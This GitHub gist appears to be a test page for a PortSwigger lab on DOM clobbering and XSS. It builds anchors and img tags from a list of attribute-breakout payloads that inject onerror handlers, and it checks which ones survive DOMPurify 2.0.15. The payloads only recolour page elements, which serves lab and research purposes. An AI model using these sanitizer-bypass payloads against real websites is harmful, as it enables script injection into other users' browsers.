Last active
September 18, 2023 16:29
-
-
Save c4mx/407b91607aa9c429e85c578ef8fb8557 to your computer and use it in GitHub Desktop.
PortSwigger lab: Exploiting DOM clobbering to enable XSS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script src='./domPurify-2.0.15.js'></script> | |
</head> | |
<body> | |
<style> | |
.text { | |
font-size: 16px; | |
font-weight: bold; | |
} | |
.output_pre { | |
color: red; | |
} | |
.title { | |
color: red; | |
} | |
.demo { | |
border-style: dashed; | |
position: relative; | |
padding: 4px; | |
left: 16px; | |
} | |
.demo-dompurify { | |
border-style: solid; | |
border-color: blue; | |
position: relative; | |
left: 16px; | |
padding: 4px; | |
} | |
hr.divider { | |
border-top: 8px solid #DAF7A6; | |
border-bottom: 8px solid #DAF7A6; | |
border-radius: 5px; | |
} | |
</style> | |
<script> | |
function create_demo(id, payload, useDOMPurify) { | |
// prepare demo block | |
let block = document.createElement('div'); | |
block.className = 'demo'; | |
// prepare payload id | |
let titleId = document.createElement('h2'); | |
titleId.innerText = 'Test-' + id + ': ' + payload; | |
titleId.className = 'title in_out_' + id; | |
block.append(titleId); | |
// prepare anchor | |
let div = document.createElement('div'); | |
let aHTML; | |
if (useDOMPurify) { | |
aHTML = '<a class=input id=in_dp_' + id + ' href=' + payload + '/>'; | |
aHTML = DOMPurify.sanitize(aHTML); | |
block.className = 'demo-dompurify'; | |
} else { | |
aHTML = '<a class=input id=in_' + id + ' href=' + payload + '/>'; | |
} | |
div.innerHTML = aHTML; | |
let a = div.firstChild; | |
let title = document.createElement('h3'); | |
title.innerText = useDOMPurify? 'Input (DOMPurified):' : 'Input:'; | |
block.append(title); | |
block.append(div); | |
// prepre pre to show anchor | |
let pre_in = document.createElement('pre'); | |
pre_in.innerText = a.outerHTML; | |
pre_in.className = 'text'; | |
block.append(pre_in); | |
// show a.toString() | |
title = document.createElement('h3'); | |
title.innerText = 'a.toString():'; | |
block.append(title); | |
href = document.createElement('pre'); | |
href.className = 'text'; | |
href.innerText = a.toString(); | |
block.append(href); | |
// prepare img | |
div = document.createElement('div'); | |
let imgHTML = '<img class=output id=' + a.id + ' src="' + a.toString() + '"/>'; | |
div.innerHTML = imgHTML; | |
img = div.firstChild; | |
img.id = 'out_' + id; | |
block.append(div); | |
// prepre pre to show img | |
title = document.createElement('h3'); | |
title.innerText = 'Output:'; | |
block.append(title); | |
let pre_out = document.createElement('pre'); | |
pre_out.innerText = img.outerHTML; | |
pre_out.className = 'text output_pre in_out_' + id; | |
pre_out.id = 'output_pre_' + img.id; | |
block.append(pre_out); | |
document.body.append(block); | |
document.body.append(document.createElement('br')); | |
} | |
let payloads = [ | |
'"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'callto:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'mailto:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'tel:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'about:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'cid:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'a?1:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'a:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'x"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'xxx#:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'#"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'@"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'1a:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'"a=\'b\'onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//', | |
'a1:"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//' | |
] | |
function generatePrintableCharacters() { | |
const printableChars = []; | |
for (let charCode = 32; charCode <= 126; charCode++) { | |
printableChars.push(String.fromCharCode(charCode)); | |
} | |
return printableChars; | |
} | |
function testAllPrintableChars() { | |
const printableCharacterList = generatePrintableCharacters(); | |
let payloads = []; | |
for (c of printableCharacterList) { | |
payloads.push('a'+c+':"onerror=for/**/(i/**/of/**/document.getElementsByClassName("in_"+this.id)){i.style.color="green"}//') | |
} | |
for (var i = 0; i < payloads.length; i++) { | |
create_demo(i+'a', payloads[i], false); | |
let divider = document.createElement('hr'); | |
divider.className = 'divider'; | |
document.body.append(divider); | |
} | |
} | |
for (var i = 0; i < payloads.length; i++) { | |
create_demo(i+'a', payloads[i], false); | |
create_demo(i+'b', payloads[i], true); | |
let divider = document.createElement('hr'); | |
divider.className = 'divider'; | |
document.body.append(divider); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment